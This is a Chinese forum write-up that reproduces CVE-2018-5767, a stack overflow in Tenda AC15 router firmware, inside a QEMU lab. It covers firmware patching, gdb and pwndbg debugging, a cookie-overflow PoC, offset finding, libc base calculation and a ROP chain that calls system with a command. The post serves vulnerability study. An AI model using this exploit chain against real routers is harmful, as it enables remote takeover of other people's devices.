|
发表于 2022-9-29 16:26:53
|
显示全部楼层
|阅读模式
IP:山东省 移动/数据上网公共出口
登录后更精彩...O(∩_∩)O...
您需要 登录 才可以下载或查看,没有账号?立即注册
×
IoT漏洞复现 - CVE-2018-5767
学习目标: - 可以知道IoT固件仿真的基础方法及排错思路
- 可以知道对ARM架构栈溢出漏洞的利用和调试方法
相关链接:
https://www.freebuf.com/articles/wireless/166869.html
https://www.cnblogs.com/ming-michelle/p/14105791.html#autoid-14-4-0
https://www.anquanke.com/post/id/204326
https://www.cnblogs.com/ming-michelle/p/14105791.html#autoid-14-4-0
https://blog.csdn.net/song_lee/article/details/104334096
Tenda固件的下载地址:
https://www.tenda.com.cn/download/cata-11.html 复现过程: 一、环境配置安装 qemu 和 arm 的动态链接库 - sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*
- cp $(which qemu-arm-static) .
- sudo chroot ./ ./qemu-arm-static ./bin/httpd

排除错误:根据打印的字符串信息
- “/bin/sh: can’t create /proc/sys/kernel/core_pattern: nonexistent directory”
- 创建相应目录mkdir -p ./proc/sys/kernel
安装 windbg - git init
- git clone https://github.com/pwndbg/pwndbg
- cd pwndbg
- sudo #./setup.sh
能 git 在线安装的一定要在线安装,不要去下载 gitee 上的包,很多细节问题
碰到的几个环境问题,记录一下
gdb - pwndbg 里运行命令缺少 checksec、cyclic 等,报错 - pwndbg> checksec
- Exception occurred: checksec: Could not find command(s) checksec, pwn in $PATH (<class 'OSError'>)
- For more info invoke `set exception-verbose on` and rerun the command
- or debug it by yourself with `set exception-debugger on`
- 解决方案:pip install pwntools
- ROPgadget 无法运行,报错缺少 capstone
- ROPgadget
- Traceback (most recent call last):
- File "/usr/local/bin/ROPgadget", line 10, in <module>
- import ropgadget
- File "/usr/local/lib/python2.7/dist-packages/ropgadget/__init__.py", line 10, in <module>
- import ropgadget.binary
- File "/usr/local/lib/python2.7/dist-packages/ropgadget/binary.py", line 11, in <module>
- from ropgadget.loaders.elf import *
- File "/usr/local/lib/python2.7/dist-packages/ropgadget/loaders/__init__.py", line 9, in <module>
- import ropgadget.loaders.elf
- File "/usr/local/lib/python2.7/dist-packages/ropgadget/loaders/elf.py", line 11, in <module>
- from capstone import *
- ImportError: No module named capstone
- 解决方案,源码级别安装 capstone
- pypi 上搜索 capstone,下载 gz 源码
- https://pypi.org/project/capstone/#files
- python setup.py build
- python setup.py install
二、文件 patch用 zip 命令将目录打包成压缩包 - sudo zip -r -q -o pack.zip squashfs-root
把 /bin/httpd 拖入 IDA(32位)中,查看 Strings,搜索 WeLoveLinux,定位到函数 int __fastcall sub_2E420(int a1, int a2) - init_core_dump(v2);
- v3 = puts("\n\nYes:\n\n ****** WeLoveLinux****** \n\n Welcome to ...");
- sub_30A5C(v3);
- while ( check_network(v21) <= 0 )
- sleep(1u);
所以在模拟环境下,由于 check_network 出错,就一直 sleep了 - readelf -s ./lib/libc.so.0 | grep system
- 433: 0005a270 348 FUNC WEAK DEFAULT 7 system
- 904: 00047b38 80 FUNC GLOBAL DEFAULT 7 svcerr_systemerr
- 1394: 0005a270 348 FUNC GLOBAL DEFAULT 7 __libc_system
- netstat -atpn|grep 80
- sudo lsof -i:80
此处我们对程序进行patch,将其中的比较的指令MOV R3, R0修改为MOV R3, 1,从而强制让程序进入右侧分支 借用 rasm2 工具翻译汇编指令到机器指令 - rasm2 -a arm "mov r3, r0"
- 0030a0e1
- asm2 -a arm "mov r3, 1"
- 0130a0e3

一开始也就怀疑,为什么这里的偏移不一样,因为下错了 bin,下了版本号更高的之后复现不出来才发现这里有问题

跟链接里的偏移是一样的
F5 之后发现,跳过判断 - init_core_dump(v2);
- v3 = puts("\n\nYes:\n\n ****** WeLoveLinux****** \n\n Welcome to ...");
- sub_30A5C(v3);
- check_network(v21);
- v4 = sleep(1u);
- if ( ConnectCfm(v4) )
- {
在 ConnectCfm(v4) 也有相同的问题,同样patch
 - init_core_dump(v2);
- v3 = puts("\n\nYes:\n\n ****** WeLoveLinux****** \n\n Welcome to ...");
- sub_30A5C(v3);
- check_network(v21);
- v4 = sleep(1u);
- ConnectCfm(v4);
- sub_103D0(0, 61440, 1);
- memset(s, 0, sizeof(s));
把 httpd 替换一下,并更新上去 - sudo mv ./bin/httpd ./bin/httpd_init
- sudo mv ~/Desktop/httpd ./bin/httpd
- ls -al ./bin | grep http
这个时候再运行命令,成了这样 - sudo chroot ./ ./qemu-arm-static ./bin/httpd
- [sudo password for kali:
- init_core_dump 1816: rlim_cur = 0, rlim_max = -1
- init_core_dump 1825: open core dump success
- init_core_dump 1834: rlim_cur = 5242880, rlim_max = 5242880
- Yes:
- ****** WeLoveLinux******
- Welcome to ...
- connect: No such file or directory
- Connect to server failed.
- connect: No such file or directory
- Connect to server failed.
- connect: No such file or directory
- Connect to server failed.
- connect: No such file or directory
- Connect to server failed.
- connect: No such file or directory
- Connect to server failed.
- create socket fail -1
- connect: No such file or directory
- Connect to server failed.
- connect: No such file or directory
- Connect to server failed.
- connect: No such file or directory
- Connect to server failed.
- connect: No such file or directory
- Connect to server failed.
- sh: can't create /proc/sys/net/ipv4/tcp_timestamps: nonexistent directory
- [httpd][debug]----------------------------webs.c,157
- httpd listen ip = 255.255.255.255 port = 80
- webs: Listening for HTTP requests at address 244.6.128.64
发现 IP 和 port 不对,需要我们修改到本地网卡来
配置网络,建立一个虚拟网桥 br0,再次运行程序 - sudo apt install uml-utilities bridge-utils
- sudo brctl addbr br0
- sudo brctl addif br0 eth0
- sudo ifconfig br0 up
- sudo dhclient br0
- sudo apt install uml-utilities bridge-utils
- sudo brctl addbr br0
- sudo brctl addif br0 ens33
- sudo ifconfig br0 up
- sudo dhclient br0
- sudo chroot ./ ./qemu-arm-static ./bin/httpd
此时,IP为本机的地址,实验环境就配好了
检验环境是不是配置好了,访问:http://192.168.123.141/goform/getProduct
 三、漏洞复现开启调试运行程序,并另开终端用 gdb 远程连接调试 - sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd
- sudo gdb-multiarch ./bin/httpd
- target remote :1234
- c
- 高版本是报错的
- /build/gdb-yyhBNJ/gdb-10.1/gdb/i387-tdep.c:952: internal-error: void i387_supply_xsave(regcache*, int, const void*): Assertion `tdep->st0_regnum >= I386_ST0_REGNUM' failed.
- 有问题的版本是这样的
- For help, type "help".
- Type "apropos word" to search for commands related to "word"...
- Reading symbols from ./bin/httpd...
- (No debugging symbols found in ./bin/httpd)
- (gdb) target remote :1234
- Remote debugging using :1234
- warning: remote target does not support file transfer, attempting to access files from local filesystem.
- Reading symbols from /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0...
- (No debugging symbols found in /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0)
- 0x3fff2930 in _start () from /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
- (gdb) c
- Continuing.
- b *0x2D7E4 # 函数开始的位置
- b *0x2DD44
- b *0x02ED18 # 函数结束的位置
- detach
poc为: - import requests
- url = "http://192.168.123.141/goform/xxx"
- cookie = {"Cookie":"password="+"A"*1000}
- requests.get(url=url, cookies=cookie)
运行完 poc 之后,报错是这样的 - Program received signal SIGSEGV, Segmentation fault.
- 0x3fe23954 in strstr () from /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
- (gdb) bt
- #0 0x3fe23954 in strstr () from /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
- #1 0x0002c5cc in ?? ()
- Backtrace stopped: previous frame identical to this frame (corrupt stack?)
需要用 windbg
 - pwndbg> c
- Continuing.
- Program received signal SIGSEGV, Segmentation fault.
- 0x3fe23954 in strstr () from /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
- LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
- ──────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
- *R0 0x41414141 ('AAAA')
- *R1 0xb36dc ◂— rsbsvc r7, r4, r8, ror #8 /* 0x70747468; 'http://' */
- *R2 0xb36dc ◂— rsbsvc r7, r4, r8, ror #8 /* 0x70747468; 'http://' */
- *R3 0x41414141 ('AAAA')
- *R4 0x68
- *R5 0xed440 ◂— strbtvs r6, [pc], -pc, lsr #14 /* 0x666f672f; '/goform/xxx' */
- *R6 0x1
- *R7 0x40800888 ◂— stmdbvs r2!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x69622f2e; './bin/httpd' */
- *R8 0xd938 (_init) ◂— mov ip, sp /* 0xe1a0c00d */
- *R9 0x2cea8 ◂— push {r4, fp, lr} /* 0xe92d4810 */
- *R10 0x408006f8 ◂— 0
- *R11 0x407ff7e4 —▸ 0x2ec88 (R7WebsSecurityHandler+5284) ◂— mov r3, #0 /* 0xe3a03000 */
- *R12 0xd26c8 (strstr@got.plt) —▸ 0x3fe2393c (strstr) ◂— push {r4, lr} /* 0xe92d4010 */
- *SP 0x407ff7a8 —▸ 0xd23ac —▸ 0xd226c ◂— 1
- *PC 0x3fe23954 (strstr+24) ◂— ldrb ip, [r3 /* 0xe5d3c000 */
- ───────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────
- ► 0x3fe23954 <strstr+24> ldrb ip, [r3 <0xd26c8>
- 0x3fe23958 <strstr+28> cmp r4, ip
- 0x3fe2395c <strstr+32> addeq r2, r2, #1
- 0x3fe23960 <strstr+36> addeq r3, r3, #1
- 0x3fe23964 <strstr+40> beq #strstr+12 <strstr+12>
- ↓
- 0x3fe23948 <strstr+12> ldrb r4, [r2
- 0x3fe2394c <strstr+16> cmp r4, #0
- 0x3fe23950 <strstr+20> popeq {r4, pc}
- 0x3fe23954 <strstr+24> ldrb ip, [r3 <0xd26c8>
- 0x3fe23958 <strstr+28> cmp r4, ip
- 0x3fe2395c <strstr+32> addeq r2, r2, #1
- ────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
- 00:0000│ sp 0x407ff7a8 —▸ 0xd23ac —▸ 0xd226c ◂— 1
- 01:0004│ 0x407ff7ac —▸ 0x2c5cc ◂— mov r3, r0 /* 0xe1a03000 */
- 02:0008│ 0x407ff7b0 ◂— 0
- 03:000c│ 0x407ff7b4 ◂— 0
- 04:0010│ 0x407ff7b8 ◂— 1
- 05:0014│ 0x407ff7bc —▸ 0xe1dbc (g_Pass) ◂— 0
- 06:0018│ 0x407ff7c0 ◂— 0x41414141 ('AAAA')
- 07:001c│ 0x407ff7c4 —▸ 0xef5f0 —▸ 0xef6f8 ◂— ldrbtvc r6, [r3], #-0xf68 /* 0x74736f68; 'host' */
- ──────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────
- ► f 0 0x3fe23954 strstr+24
接下来就是寻找漏洞点:一般情况 就是找关键函数
如果是堆:malloc free 看是否造成了 doublefree fastbin attack UAF off by one…
栈:memorycopy strcpy scanf sprintf gets这种 内存拷贝//内存获取时候的函数
如果用snscanf就不会 出现这个情况
漏洞点位于函数里:int __fastcall R7WebsSecurityHandler(int a1, int a2, int a3, int a4, char *s1) - if ( *(_DWORD *)(a1 + 184) )
- {
- v41 = strstr(*(const char **)(a1 + 184), "password=");
- if ( v41 )
- sscanf(v41, "%*[^=]=%[^;];*", v34);
- else
- sscanf(*(const char **)(a1 + 184), "%*[^=]=%[^;];*", v34);
- }
- if ( strlen(s) <= 3
- || (v43 = strchr(s, 46)) == 0
- || (v43 = (char *)v43 + 1, memcmp(v43, "gif", 3u))
- && memcmp(v43, "png", 3u)
- && memcmp(v43, "js", 2u)
- && memcmp(v43, "css", 3u)
- && memcmp(v43, "jpg", 3u)
- && memcmp(v43, "jpeg", 3u) )
概述:把 password 的等号后面的值,赋值给到了一个固定大小的空间上,即


buf 的大小是 0x1C0 分析后得知,程序首先找到“password=”字符串的位置,通过sscanf函数解析从“=”号到“;”号中间的内容写入v34。这里没有对用户可控的输入进行过滤,从而有机会覆盖堆栈劫持程序流。 我们需要保证请求的url路径不会导致if语句为false,比如“/goform/xxx”就行
出错的地方并不是函数返回处,而是一个 “从不存在的地址取值” 造成的报错,目前就只能造成拒绝服务,而不能执行命令

根据出错的位置 - ─────────────────────────[ DISASM ]──────────────────────────
- Invalid address 0x6561616c
- pwndbg> bt
- #0 0x6561616c in ?? ()
- #1 0x0002ddf8 in R7WebsSecurityHandler ()
- Backtrace stopped: Cannot access memory at address 0x6561616c
- Q & A?WHY?
- 崩溃的返回地址显示是 0x6561616c(laae)
- 我们还需要观察 CPSR 寄存器的 T 位进行判断,CPSR 寄存器的标志位如下图所示

这里涉及到 ARM 模式( LSB = 0)和 Thumb 模式( LSB = 1)的切换,栈上内容弹出到 PC 寄存器时,其最低有效位(LSB)将被写入 SPSR 寄存器的 T 位,而 PC 本身的 LSB 被设置为 0
此时在 gdb 中执行
- pwndbg> p/t $cpsr
- $1 = 1100000000000000000000000110000
以二进制形式显示 CPSR 寄存器,发现 T 位值为 1,因此需要在之前报错的地址上加一还原为 0x6561616f(”maae”) 用 checksec 发现程序开启了 NX 保护,无法直接执行栈中的 shellcode,使用 ROP 来绕过 NX

ROP需要以下信息:
1)system 函数地址写入某寄存器的 gadget
2)往 R0 寄存器存入内容(即 system 函数的参数),并跳转到 system 函数地址的 gadget
3)libc.so 的基地址
4)system 函数在 libc 的偏移地址 - pwndbg> cyclic -l maae
- 448
- ┌──(root@kali)-[~/…/Tenda/AC15/_AC15.bin.extracted/squashfs-root
- └─# ps -ef | grep "httpd" | grep "1235"
- root 2783 2419 0 21:43 pts/1 00:00:00 sudo chroot ./ ./qemu-arm-static -g 1235 ./bin/httpd
- root 2784 2783 0 21:43 pts/1 00:00:00 ./qemu-arm-static -g 1235 ./bin/httpd
- ┌──(root@kali)-[~/…/Tenda/AC15/_AC15.bin.extracted/squashfs-root
- └─# sudo cat /proc/2784/maps | grep "libc"
- 43418000-4347d000 r--p 00000000 08:01 2901237 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
- 43485000-43486000 r--p 00065000 08:01 2901237 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
- 43486000-43487000 rw-p 00066000 08:01 2901237 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
- 435d5000-435e7000 r--p 00000000 08:01 2901238 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libcommon.so
- 435ef000-435f0000 rw-p 00012000 08:01 2901238 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libcommon.so
- 43625000-4362a000 r--p 00000000 08:01 2901228 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
- 43631000-43632000 r--p 00004000 08:01 2901228 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
- 43632000-43633000 rw-p 00005000 08:01 2901228 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
- ps -ef | grep "httpd" | grep "1234"
- root 1762 1552 0 02:34 pts/2 00:00:00 sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd
- root 1763 1762 0 02:34 pts/2 00:00:00 ./qemu-arm-static -g 1234 ./bin/httpd
- sudo cat /proc/1510/maps | grep "libc"
- 42573000-425d8000 r--p 00000000 08:01 2901237 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
- 425e0000-425e1000 r--p 00065000 08:01 2901237 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
- 425e1000-425e2000 rw-p 00066000 08:01 2901237 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
- 42730000-42742000 r--p 00000000 08:01 2901238 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libcommon.so
- 4274a000-4274b000 rw-p 00012000 08:01 2901238 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libcommon.so
- 42780000-42785000 r--p 00000000 08:01 2901228 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
- 4278c000-4278d000 r--p 00004000 08:01 2901228 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
- 4278d000-4278e000 rw-p 00005000 08:01 2901228 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
- sudo cat /proc/2036/maps | grep "libc"
- 41c1a000-41c7f000 r--p 00000000 08:01 2901237 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
- 41c87000-41c88000 r--p 00065000 08:01 2901237 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
- 41c88000-41c89000 rw-p 00066000 08:01 2901237 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
- 41dd7000-41de9000 r--p 00000000 08:01 2901238 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libcommon.so
- 41df1000-41df2000 rw-p 00012000 08:01 2901238 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libcommon.so
- 41e27000-41e2c000 r--p 00000000 08:01 2901228 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
- 41e33000-41e34000 r--p 00004000 08:01 2901228 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
- 41e34000-41e35000 rw-p 00005000 08:01 2901228 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
- ubuntu@ubuntu:~/Desktop/Tenda/AC15$ sudo cat /proc/4523/maps | grep "libc"
- 7ffff6d5d000-7ffff6dc2000 r-xp 00000000 08:01 2906459 /home/ubuntu/Desktop/Tenda/AC15/_US_AC15.bin.extracted/squashfs-root/lib/libc.so.0
- 7ffff6dca000-7ffff6dcb000 r--p 00065000 08:01 2906459 /home/ubuntu/Desktop/Tenda/AC15/_US_AC15.bin.extracted/squashfs-root/lib/libc.so.0
- 7ffff6dcb000-7ffff6dcc000 rw-p 00066000 08:01 2906459 /home/ubuntu/Desktop/Tenda/AC15/_US_AC15.bin.extracted/squashfs-root/lib/libc.so.0
- 7ffff6f1a000-7ffff6f2c000 r-xp 00000000 08:01 2906460 /home/ubuntu/Desktop/Tenda/AC15/_US_AC15.bin.extracted/squashfs-root/lib/libcommon.so
- 7ffff6f34000-7ffff6f35000 rw-p 00012000 08:01 2906460 /home/ubuntu/Desktop/Tenda/AC15/_US_AC15.bin.extracted/squashfs-root/lib/libcommon.so
- 7ffff6f69000-7ffff6f6e000 r-xp 00000000 08:01 2906438 /home/ubuntu/Desktop/Tenda/AC15/_US_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
- 7ffff6f75000-7ffff6f76000 r--p 00004000 08:01 2906438 /home/ubuntu/Desktop/Tenda/AC15/_US_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
- 7ffff6f76000-7ffff6f77000 rw-p 00005000 08:01 2906438 /home/ubuntu/Desktop/Tenda/AC15/_US_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
libc 基址为:42826000
为了调试的方便,把地址随机化关掉 - cat /proc/sys/kernel/randomize_va_space
- 2
- echo 0 >/proc/sys/kernel/randomize_va_space
- 41c1a000 - 20000 = 41bfa000
- Libc=0x409c7000
- 但是此处有个坑,libc的地址并不正确,rop链会跳到错误的地方,
- 看一下puts函数的地址
- Puts在libc中的地址
- 那么libc=409dccd4-35cd4=409A7000
- 根据 wp,我的基址就是 42826000 - 20000 = 42806000
- 42300000 - 20000 = 422e0000
接下来寻找 gadget - ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
- 0x00040cb8 : mov r0, sp ; blx r3 ; mov r0, r4 ; add sp, sp, #0x18 ; pop {r4, r5, r6, pc}

上述指令会将栈顶写入 R0,并跳转到 R3 寄存器中的地址
因此需要再找一条可以写 R3 的指令即可
- ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
- 0x00018298 : pop {r3, pc}
- ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
- 0x00033e48 : pop {r0, r1, r2, r3, r4, pc}
- 0x00019744 : pop {r0, r1, r2, r3, r4, r5, r6, pc}
- 0x0002f354 : pop {r0, r1, r2, r3, r4, r5, r6, r7, r8, pc}
- 0x0003224c : pop {r0, r1, r2, r3, r4, r5, r7, pc}
- 0x00015f0c : pop {r1, r2, r3, pc}
- 0x00016654 : pop {r1, r2, r3, r4, r5, pc}
- 0x00014e40 : pop {r1, r2, r3, r4, r5, r6, r7, pc}
- 0x0001e958 : pop {r1, r2, r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}
- 0x00016c04 : pop {r1, r2, r3, r4, r5, r6, r7, r8, sl, pc}
- 0x000169a0 : pop {r2, r3, r4, pc}
- 0x00041244 : pop {r2, r3, r4, r5, r6, pc}
- 0x0001a198 : pop {r2, r3, r4, r5, r6, r7, r8, pc}
- 0x00024870 : pop {r2, r3, r4, r5, r6, r7, r8, sb, sl, pc}
- 0x00016ae8 : pop {r2, r3, r4, r5, r7, pc}
- 0x00018298 : pop {r3, pc}
- 0x0001719c : pop {r3, r4, r5, pc}
- 0x00015d40 : pop {r3, r4, r5, r6, r7, pc}
- 0x00017420 : pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}
- 0x0001eed4 : pop {r3, r4, r5, r6, r7, r8, sl, pc}
- 0x000153c8 : pop {r3, r4, r7, pc}
- 0x000153c8 : pop {r3, r4, r7, pc} ; pop {r3, r4, r7, pc}

最终 payload 的格式:[ offset, gadget1, system_addr, gadget2, cmd]
其执行流程为:
1)溢出处函数返回跳转到第一个 gadget1:pop {r3, pc}
2)栈顶第一个元素 system 弹出到 R3 寄存器,第二个元素 gadget2:mov r0, sp; blx r3 弹出到 PC,使程序流执行到 gadget2
3)此时的栈顶内容 cmd 放入 R0 寄存器,并使得程序跳转到 R3 寄存器指向的地址去执行
- TypeError: startswith first arg must be bytes or a tuple of bytes, not str

可以发现,这里的偏移是错了一位的

- 报错:QEMU target detected - vmmap result might not be accurate; see `help vmmap`

- pwndbg> info sharedlibrary
- From To Syms Read Shared Object Library
- 0x3fff2930 0x3fff5e90 Yes (*) /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
- 0x3ffc0fc8 0x3ffca998 Yes /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libCfm.so
- 0x3ffa4ad4 0x3ffb2274 Yes (*) /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libcommon.so
- 0x3ff93388 0x3ff977cc Yes (*) /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libChipApi.so
- 0x3ff86c40 0x3ff87e68 Yes (*) /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libvos_util.so
- 0x3ff69548 0x3ff7a22c Yes (*) /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libz.so
- 0x3ff511e8 0x3ff5751c Yes (*) /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libpthread.so.0
- 0x3ff435dc 0x3ff43928 Yes (*) /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libnvram.so
- 0x3ff2ef9c 0x3ff36ad8 Yes (*) /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libshared.so
- 0x3fe8f1b4 0x3fecf0a0 Yes (*) /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libtpi.so
- 0x3fe6f31c 0x3fe7bcf8 Yes (*) /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libm.so.0
- 0x3fe5c7b0 0x3fe6354c Yes (*) /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libgcc_s.so.1
- 0x3fdf9990 0x3fe40904 Yes (*) /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
的单步调试过程如下:
 - b *0x2ddf4
- 漏洞位于
- if ( *(_DWORD *)(a1 + 184) )
- {
- v41 = strstr(*(const char **)(a1 + 184), "password=");
- if ( v41 )
- sscanf(v41, "%*[^=]=%[^;];*", v34);
- else
- sscanf(*(const char **)(a1 + 184), "%*[^=]=%[^;];*", v34);
- }
- 根据 httpd 中函数 R7WebsSecurityHandler 源码第 94 - 102 行
- if ( strlen(s) <= 3
- || (v43 = strchr(s, 46)) == 0
- || (v43 = (char *)v43 + 1, memcmp(v43, "gif", 3u))
- && memcmp(v43, "png", 3u)
- && memcmp(v43, "js", 2u)
- && memcmp(v43, "css", 3u)
- && memcmp(v43, "jpg", 3u)
- && memcmp(v43, "jpeg", 3u) )
- {
- ……
- }

- 先分析代码处
- 0x2ed10 <R7WebsSecurityHandler+5420> mov r0, r3
- 0x2ed14 <R7WebsSecurityHandler+5424> sub sp, fp, #0x10
- ► 0x2ed18 <R7WebsSecurityHandler+5428> pop {r4, r5, r6, fp, pc} <0x2ed18>

这里就已经是函数 R7WebsSecurityHandler 的结尾了,之后就会跳转到我们控制的区域,先观察此时的几个寄存器
- pwndbg> i r
- r0 0x0 0
- r1 0xb3cf7 736503
- r2 0x67 103
- r3 0x0 0
- r4 0xd23ac 861100
- r5 0xed440 971840
- r6 0x1 1
- r7 0x40800882 1082132610
- r8 0xd938 55608
- r9 0x2cea8 183976
- r10 0x408006e8 1082132200
- r11 0x407ffc9c 1082129564
- r12 0x407ffc9b 1082129563
- sp 0x407ffc8c 0x407ffc8c
- lr 0x2ddf8 187896
- pc 0x2ed18 0x2ed18 <R7WebsSecurityHandler+5428>
- pwndbg> stack 10
- 00:0000│ sp 0x407ffc8c ◂— 0x41414141 ('AAAA')
- ... ↓ 2 skipped
- 03:000c│ r12-3 0x407ffc98 ◂— strbvs r7, [lr, -lr, lsr #32]! /* 0x676e702e */
- 04:0010│ r11 0x407ffc9c —▸ 0x3fdfd298 (wait+24) ◂— pop {r3, pc} /* 0xe8bd8008 */
- 05:0014│ 0x407ffca0 —▸ 0x3fe3f270 (system) ◂— ldr r3, [pc, #0x144] /* 0xe59f3144 */
- 06:0018│ 0x407ffca4 —▸ 0x3fe25cb8 (authnone_create+192) ◂— mov r0, sp /* 0xe1a0000d; '\r' */
- 07:001c│ 0x407ffca8 ◂— svcvs #0x686365 /* 0x6f686365; 'echo hello' */
- 08:0020│ 0x407ffcac ◂— stclvs p8, c6, [r5], #-0x80 /* 0x6c656820; ' hello' */
- 09:0024│ 0x407ffcb0 —▸ 0x40006f6c ◂— 0
- 用 si 命令往后走一步
- ──────────────────────────────────────[ DISASM ]──────────────────────────────────────
- ► 0x3fdfd298 <wait+24> pop {r3, pc} <0x3fdfd298>
- ──────────────────────────────────────[ STACK ]───────────────────────────────────────
- 00:0000│ sp 0x407ffca0 —▸ 0x3fe3f270 (system) ◂— ldr r3, [pc, #0x144] /* 0xe59f3144 */
- 01:0004│ 0x407ffca4 —▸ 0x3fe25cb8 (authnone_create+192) ◂— mov r0, sp /* 0xe1a0000d; '\r' */
- 02:0008│ 0x407ffca8 ◂— svcvs #0x686365 /* 0x6f686365; 'echo hello' */
- 03:000c│ 0x407ffcac ◂— stclvs p8, c6, [r5], #-0x80 /* 0x6c656820; ' hello' */
- 04:0010│ 0x407ffcb0 —▸ 0x40006f6c ◂— 0
- 05:0014│ 0x407ffcb4 —▸ 0xef5f0 —▸ 0xef6f8 ◂— strbvs r6, [r3, #-0x361]! /* 0x65636361; 'accept-encoding' */
- 06:0018│ 0x407ffcb8 ◂— 0
- 07:001c│ 0x407ffcbc —▸ 0xe90f8 —▸ 0x2d7e4 (R7WebsSecurityHandler) ◂— push {r4, r5, r6, fp, lr} /* 0xe92d4870 */
- 继续 si
- ──────────────────────────────────────[ DISASM ]──────────────────────────────────────
- ► 0x3fe25cb8 <authnone_create+192> mov r0, sp
- 0x3fe25cbc <authnone_create+196> blx r3
- ──────────────────────────────────────[ STACK ]───────────────────────────────────────
- 00:0000│ sp 0x407ffca8 ◂— svcvs #0x686365 /* 0x6f686365; 'echo hello' */
- 01:0004│ 0x407ffcac ◂— stclvs p8, c6, [r5], #-0x80 /* 0x6c656820; ' hello' */
- 02:0008│ 0x407ffcb0 —▸ 0x40006f6c ◂— 0
- 03:000c│ 0x407ffcb4 —▸ 0xef5f0 —▸ 0xef6f8 ◂— strbvs r6, [r3, #-0x361]! /* 0x65636361; 'accept-encoding' */
- 04:0010│ 0x407ffcb8 ◂— 0
- 05:0014│ 0x407ffcbc —▸ 0xe90f8 —▸ 0x2d7e4 (R7WebsSecurityHandler) ◂— push {r4, r5, r6, fp, lr} /* 0xe92d4870 */
- 06:0018│ 0x407ffcc0 ◂— 0
- 07:001c│ 0x407ffcc4 ◂— 0
- 继续 si
- ──────────────────────────────────────[ DISASM ]──────────────────────────────────────
- 0x3fe25cb8 <authnone_create+192> mov r0, sp
- ► 0x3fe25cbc <authnone_create+196> blx r3 <system>
- command: 0x407ffca8 ◂— 'echo hello'
- ──────────────────────────────────────[ STACK ]───────────────────────────────────────
